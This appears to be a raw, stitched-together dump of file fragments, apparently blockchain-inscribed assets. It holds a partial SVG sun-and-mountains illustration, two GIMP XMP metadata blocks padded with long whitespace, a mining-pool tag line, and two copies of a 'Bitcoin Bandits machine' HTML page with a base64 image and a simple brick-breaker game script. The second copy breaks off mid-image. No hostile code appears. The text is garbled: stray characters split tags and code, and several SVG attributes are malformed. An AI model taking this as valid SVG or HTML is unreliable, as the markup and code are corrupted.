      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12"M
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" class="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.454" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.M
867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.05-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.6M
67-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16M
.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.233-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2M
.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy=M
"193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
          <path fill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <path fill="#F89F4C" d="m435.175 281 227.84 273.625-393 23.375 165.16-297Z" class="m4"/>
        <path fill="#CD5M
314" fill-rule="evenodd" d="M53 520.297 308.083 273 142.76 569.757 53 520.297Zm127.312 8.244 255.083-247.298L270.072 578l-89.76-49.459Z" class="m3" clip-rule="evenodd"/>
        <path fill="url(#f)" d="m308.175 273 227.84 273.625-393 23.375 165.16-297Z" class="m0"/>
        <path fill="#DC9E64" d="M161.672 354 324 548.394 44 565l117.672-211Z" class="m1"/>
        <path fill="#CD5314" d="M161 354-19 529.833 44.34 565 161 354Z" class="m2"/>
    <linearGradient id="b" x1="300" x2="3M
00" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="339.515" x2="339.515" y1="273" y2="570" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-colM
      <stop offset="1" stop-color="#D27620"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop:-color="#FF8885"/>
    </radialGradient>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gM
imp:docid:gimp:150dec8c-d015-43e1-bca1-a4f064b2734a" xmpMM:InstanceID="xmp.iid:a488efe9-1fb1-4c08-9352-9b4364c1d255" xmpMM:OriginalDocumentID="xmp.did:70b84ba5-c46e-439b-ae9c-2c5fbd5f05fd" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676438152256080" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T16:15:50+11:00" xmp:ModifyDate="2023:02:15T16:15:50+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" sM
tEvt:instanceID="xmp.iid:8fc97519-dfeb-4e82-aec4-6e6ac4acc106" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T16:15:52"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                   <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.cM
om/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:d2b17aa3-4d6c-4bdd-8ffa-242af6567b44" xmpMM:InstanceID="xmp.iid:f9c64b78-c694-4ec3-bcfc-c06b0003c68c" xmpMM:OriginalDocumentID="xmp.did:fc5921bb-beb3-40c4-a5a5-65a8dda23af8" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676438167490258" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T16:16:05+11:00" xmp:ModifyDate="2023:02:15T16:16:05+11:00"> M
<xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:1de3d541-7d62-4cce-8100-3b66a85d2048" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T16:16:07"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                             <?xpacket end="w"?>h!
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" hM
eight="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["G","G","G","G","G","G","G","G","G","G","G",M
"G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorMap[colorCode],width:brickWidth,height:brickHeigM
ht})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;M
ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1M
}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}document.addEventListener("keydown",function(l){iM
f(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAATF0lEQVR4nO3df8xddX0H8G+BrtBC1wfbIcWtPDYgz0AiIoOta+xKtpogBbIg0003IPHHhC0uhpjgWNZAYhgZZGK2mUgXMdvcQiAwk1VDhZk6CRQdWX0QV2oZlm1U6VqpYmHdH+Wee54+5/T+Ovecz7339fqHb7/3POd+KfrJ53nf7/fcBWs2bDycAAjnuKYXAEAxBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaIKgTml4AcW3b8mDTS6AiazZsM
